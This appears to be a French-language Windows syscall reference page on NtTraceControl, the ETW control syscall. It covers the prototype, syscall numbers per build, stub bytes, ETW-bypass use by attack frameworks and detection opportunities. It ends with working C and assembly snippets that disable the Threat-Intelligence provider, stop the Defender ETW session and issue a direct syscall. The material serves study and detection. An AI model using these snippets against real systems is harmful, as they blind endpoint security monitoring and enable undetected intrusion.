> Windows Syscalls
ntoskrnl.exeT1562.006T1562T1106

NtTraceControl

IOCTL de contrôle multiplexé du sous-système ETW — démarrer, arrêter, interroger, vider les sessions et activer/désactiver les providers.

Prototype

NTSTATUS NtTraceControl(
  ULONG  FunctionCode,
  PVOID  InBuffer,
  ULONG  InBufferLen,
  PVOID  OutBuffer,
  ULONG  OutBufferLen,
  PULONG ReturnLength
);

Arguments

NameTypeDirDescription
FunctionCodeULONGinSélecteur EtwpControlCode : 1=Start, 2=Stop, 3=Query, 4=Update, 5=Flush, 7=EnableTraceProvider, 13=QueryAllTraces, etc.
InBufferPVOIDinEntrée spécifique à la fonction — typiquement un EVENT_TRACE_PROPERTIES ou ETW_ENABLE_NOTIFICATION_PACKET.
InBufferLenULONGinTaille d'InBuffer en octets.
OutBufferPVOIDoutTampon de sortie spécifique à la fonction ; pour Query renvoie un EVENT_TRACE_PROPERTIES mis à jour avec statistiques.
OutBufferLenULONGinCapacité d'OutBuffer en octets.
ReturnLengthPULONGoutReçoit le nombre d'octets réellement écrits dans OutBuffer.

IDs de syscalls par version de Windows

Version de WindowsID de syscallBuild
Win10 15070x1A6win10-1507
Win10 16070x1AFwin10-1607
Win10 17030x1B5win10-1703
Win10 17090x1B9win10-1709
Win10 18030x1BBwin10-1803
Win10 18090x1BCwin10-1809
Win10 19030x1BDwin10-1903
Win10 19090x1BDwin10-1909
Win10 20040x1C3win10-2004
Win10 20H20x1C3win10-20h2
Win10 21H10x1C3win10-21h1
Win10 21H20x1C5win10-21h2
Win10 22H20x1C5win10-22h2
Win11 21H20x1CFwin11-21h2
Win11 22H20x1D3win11-22h2
Win11 23H20x1D3win11-23h2
Win11 24H20x1D6win11-24h2
Server 20160x1AFwinserver-2016
Server 20190x1BCwinserver-2019
Server 20220x1CBwinserver-2022
Server 20250x1D6winserver-2025

Module noyau

ntoskrnl.exeNtTraceControl

APIs liées

StartTraceWStopTraceWControlTraceWQueryTraceWEnableTraceEx2EnumerateTraceGuidsExNtTraceEvent

Stub du syscall

4C 8B D1                  mov r10, rcx
B8 D6 01 00 00            mov eax, 0x1D6
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03                     jne short +3
0F 05                     syscall
C3                        ret
CD 2E                     int 2Eh
C3                        ret

Notes non documentées

Toute la *surface de contrôle* ETW user-mode repose sur `NtTraceControl`. `StartTrace`, `StopTrace`, `ControlTraceW`, `QueryTrace`, `FlushTrace`, `EnableTraceEx2`, `EnumerateTraceGuidsEx` — tous emballent un `EVENT_TRACE_PROPERTIES` (ou un des ~30 paquets de contrôle internes) et dispatchent vers ce seul syscall, avec `FunctionCode` sélectionnant l'opération. Le gestionnaire noyau `EtwpControlTrace` valide contre `SeSystemProfilePrivilege` / `SeDebugPrivilege` pour les opérations sensibles et contre le descripteur de sécurité `EtwGuid` pour les contrôles au niveau provider. La fonction 7 (`EnableTraceProvider`) est celle qui active/désactive les providers dans une session existante — et celle qui intéresse les attaquants. Le SSN dérive à peu près à chaque release Windows, donc tout numéro codé en dur casse entre builds ; `0x1D6` sur Win11 24H2 / Server 2025.

Usage courant par les malwares

**La principale surface de bypass ETW.** Le patch ETW user-mode classique (écraser le premier octet d'`ntdll!EtwEventWrite` par `0xC3`) n'aveugle que le *processus courant*. Les défenseurs qui veulent une télémétrie à l'échelle du système — notamment le provider `Microsoft-Windows-Threat-Intelligence` utilisé par l'EDR — la collectent depuis une session système. Pour la faire taire, les attaquants se tournent vers `NtTraceControl` avec `FunctionCode=7` (`EtwpEnableTraceProvider`) et `EnableState=0` pour *désactiver* le provider dans la propre session de l'EDR, ou `FunctionCode=2` (`EtwpStopTrace`) pour démonter la session purement et simplement. **Cobalt Strike**, **Brute Ratel C4**, **Havoc**, **Nighthawk** et les outils open-source **SharpEtwBypass** / **TamperETW** embarquent tous des variantes de ceci. Les équivalents en mode noyau (rootkit Lazarus **FudModule**) y parviennent en mettant à zéro `EtwThreatIntProvRegHandle` directement — une primitive différente qui contourne entièrement `NtTraceControl` mais produit le même blackout. Désactiver une session exige aussi que le processus appelant possède la session ou détienne `SeSystemProfilePrivilege` / un niveau de confiance TrustedInstaller, raison pour laquelle la plupart des chaînes pivotent d'abord par un payload en contexte SYSTEM.

Opportunités de détection

Les AV à base de hook ne peuvent pas voir ceci — par définition l'attaquant désactive la télémétrie. La détection côté noyau consiste à *ne pas dépendre de la session vivante* : enregistrer un second consommateur ETW Threat-Intelligence redondant depuis un driver noyau (les drivers EDR PPL le font), ou utiliser le provider `Microsoft-Windows-Kernel-EventTracing`, qui logge des évènements administratifs (4 = SessionStop, 12 = TraceConfigChange) vers lui-même. Surveillez tout processus non signé Microsoft invoquant `ControlTraceW` contre des noms de session EDR bien connus (`DefenderApiLogger`, `EventLog-Security`, `MS_Mon_*`, spécifiques au vendeur). Sur Server 2022+ le capteur Windows Defender for Endpoint logge directement la manipulation de session ETW comme une alerte. Au niveau noyau, `EtwThreatIntProvRegHandle == NULL` alors que le système est censé tourner avec le logging TI activé est le smoking gun pour la variante BYOVD.

Exemples de syscalls directs

cDisable Threat-Intelligence provider in a target session

// Disable Microsoft-Windows-Threat-Intelligence (GUID {f4e1897c-bb5d-5668-f1d8-040f4d8dd344})
// inside an existing logger session. Requires SeSystemProfilePrivilege or session ownership.
#include <windows.h>
#include <evntrace.h>

static const GUID kThreatIntel =
    { 0xf4e1897c, 0xbb5d, 0x5668, { 0xf1,0xd8,0x04,0x0f,0x4d,0x8d,0xd3,0x44 } };

void disable_ti_in_session(TRACEHANDLE hSession) {
    ENABLE_TRACE_PARAMETERS p = { 0 };
    p.Version = ENABLE_TRACE_PARAMETERS_VERSION_2;
    EnableTraceEx2(
        hSession,
        &kThreatIntel,
        EVENT_CONTROL_CODE_DISABLE_PROVIDER, // -> NtTraceControl FunctionCode=7, EnableState=0
        TRACE_LEVEL_NONE,
        0, 0, 0, &p);
}

cStop a named EDR session outright

// Tears the whole session down — EtwpStopTrace via NtTraceControl FunctionCode=2.
BYTE buf[sizeof(EVENT_TRACE_PROPERTIES) + 1024] = { 0 };
EVENT_TRACE_PROPERTIES* props = (EVENT_TRACE_PROPERTIES*)buf;
props->Wnode.BufferSize = sizeof(buf);
props->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);

ULONG st = ControlTraceW(
    0,
    L"DefenderApiLogger",     // typical Microsoft Defender ETW session
    props,
    EVENT_TRACE_CONTROL_STOP);

asmx64 direct stub (Win11 24H2 / Server 2025, SSN 0x1D6)

; The SSN drifts per build — resolve dynamically with Halo's Gate for portability.
NtTraceControl PROC
    mov  r10, rcx
    mov  eax, 1D6h
    syscall
    ret
NtTraceControl ENDP

Mappings MITRE ATT&CK

Last verified: 2026-05-20